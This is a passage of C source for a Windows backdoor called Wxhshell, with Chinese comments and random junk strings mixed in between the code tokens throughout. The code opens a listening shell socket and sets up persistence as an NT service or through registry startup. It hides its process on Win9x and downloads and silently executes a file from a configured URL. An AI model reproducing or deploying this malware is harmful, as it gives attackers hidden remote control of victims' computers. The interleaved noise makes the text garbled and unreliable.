nH;}i unsigned long cbNeeded; +TXX$)3% K tNY_&xd if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )7h$G-fe W.kM7z>G CloseHandle(hProcess); 6{txm+U _a1x\,R|DB if(strstr(procName,"services")) return 1; // 以服务启动 )"pF R4 uu`G 2[t return 0; // 注册表启动 S~|T4q( } @')[FEdW pR~U`r5z // 主模块 8<Hf"M int StartWxhshell(LPSTR lpCmdLine) 5LOo8xN { ,cNLkoN SOCKET wsl; KZ/=IP= BOOL val=TRUE; e=.]F*:J int port=0; ght$9>'n struct sockaddr_in door; T?X_c"{8M <>Hj
;q5p if(wscfg.ws_autoins) Install(); (DI>5.x" 6'Fd GS port=atoi(lpCmdLine); qT+%;( X7rMeu if(port<=0) port=wscfg.ws_port; uCcYPvm U*)8G WSADATA data; -,U3fts if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aTt12Sc '*3h!lW1. if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; soQ1X@"0 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x9JD\vZ door.sin_family = AF_INET; >D4#y door.sin_addr.s_addr = inet_addr("127.0.0.1"); d QqK^# door.sin_port = htons(port); Oeok; : `^)jLuyu
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'ET~ closesocket(wsl); : 2EDjW return 1; 2 O%`G+\) } ;5)P6S.D ]?(-[ if(listen(wsl,2) == INVALID_SOCKET) { B8}Nvz
/ closesocket(wsl); %rv7Jy return 1; t;}:waZD } `7r@a Wxhshell(wsl); maNl^i WSACleanup(); 3eF-8Z(f sc}~8T return 0; Sn|BlXrey S Em Q@1 } |AozR ~ qHrc9fB // 以NT服务方式启动 R21b!Pd\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ()6wvu} { >7QvK3S4% DWORD status = 0; =Lf,?"S DWORD specificError = 0xfffffff; 6|PrX
L& eLfk\kk]Pc serviceStatus.dwServiceType = SERVICE_WIN32; XMxSQ B1 serviceStatus.dwCurrentState = SERVICE_START_PENDING; H<PtAYFS serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tg<EY!WY serviceStatus.dwWin32ExitCode = 0; vbyH<LPz5 serviceStatus.dwServiceSpecificExitCode = 0; lIW
}EM serviceStatus.dwCheckPoint = 0; xwq+j " serviceStatus.dwWaitHint = 0; =ACVE;L? 24z< gO hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &tg&5_ if (hServiceStatusHandle==0) return; zN^n]N_? +nJgl8'^y status = GetLastError(); 2h5nMI]' if (status!=NO_ERROR) +lHjC$ { Hl{S]]z serviceStatus.dwCurrentState = SERVICE_STOPPED; iT2B'QI=< serviceStatus.dwCheckPoint = 0; J4fi' serviceStatus.dwWaitHint = 0; ,[P{HrHx serviceStatus.dwWin32ExitCode = status; hpO`] serviceStatus.dwServiceSpecificExitCode = specificError; o!kbK#k SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~f$|HP} return; SAy=WV } AP'*Nh@Ik( I|^;B8[ serviceStatus.dwCurrentState = SERVICE_RUNNING; B><d9d serviceStatus.dwCheckPoint = 0; iKX-myCz serviceStatus.dwWaitHint = 0; ]&lY%"U$i if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _./Sk|C } 1;Ou7T9w xc=b
|:A // 处理NT服务事件,比如:启动、停止 ^")Q YE VOID WINAPI NTServiceHandler(DWORD fdwControl) lh7jux { Nn!+,;ut switch(fdwControl) --$
4Q(# { old(i:2 case SERVICE_CONTROL_STOP: : y%d serviceStatus.dwWin32ExitCode = 0; x!5'`A!W% serviceStatus.dwCurrentState = SERVICE_STOPPED; Vl&?U serviceStatus.dwCheckPoint = 0; ,-8"R`UI8 serviceStatus.dwWaitHint = 0; DtXrWS/ { VY
| _dk SetServiceStatus(hServiceStatusHandle, &serviceStatus); g?z/2zKR } 3G}x;Cp\D return; 1g8_Xe4 case SERVICE_CONTROL_PAUSE: *U&0<{|T serviceStatus.dwCurrentState = SERVICE_PAUSED; :~Wrf8UQ break; L^@'q6*} case SERVICE_CONTROL_CONTINUE: oX30VfT serviceStatus.dwCurrentState = SERVICE_RUNNING; J}v}~Cv break; \LR~r%(rM case SERVICE_CONTROL_INTERROGATE: &"&Z
#llb break; kmP]SO?tx }; >=:&D)m" SetServiceStatus(hServiceStatusHandle, &serviceStatus); ILEz;D{] } VVac: WW4vn|0v // 标准应用程序主函数 v%+:/m1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Br1&8L-|% { %5M/s'O?i zzTfYf) // 获取操作系统版本
e2s]{obf OsIsNt=GetOsVer(); HK,cJahq GetModuleFileName(NULL,ExeFile,MAX_PATH); }B\a<0L/ X' H[7 ^W // 从命令行安装 RJ 8+h if(strpbrk(lpCmdLine,"iI")) Install(); dCi?SIN hYPl&^ // 下载执行文件 I*{4rDt if(wscfg.ws_downexe) { + jc!5i . if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q=;U@k@> WinExec(wscfg.ws_filenam,SW_HIDE); Mo?~_|} } V58wU:li JTO~9>$ B if(!OsIsNt) { =,spvy'"*C // 如果时win9x,隐藏进程并且设置为注册表启动 nAW:utTB HideProc(); %b&".mN StartWxhshell(lpCmdLine); p>RNPrT } ($au:'kU
else x$5) ^ud? if(StartFromService()) UO0{):w> // 以服务方式启动 iU$] {c2;A StartServiceCtrlDispatcher(DispatchTable); x+Ttl4 else ]
o*#t // 普通方式启动 BLfTsNzmt StartWxhshell(lpCmdLine); *scVJ JD)(oK%C return 0; <*16(!k0 }
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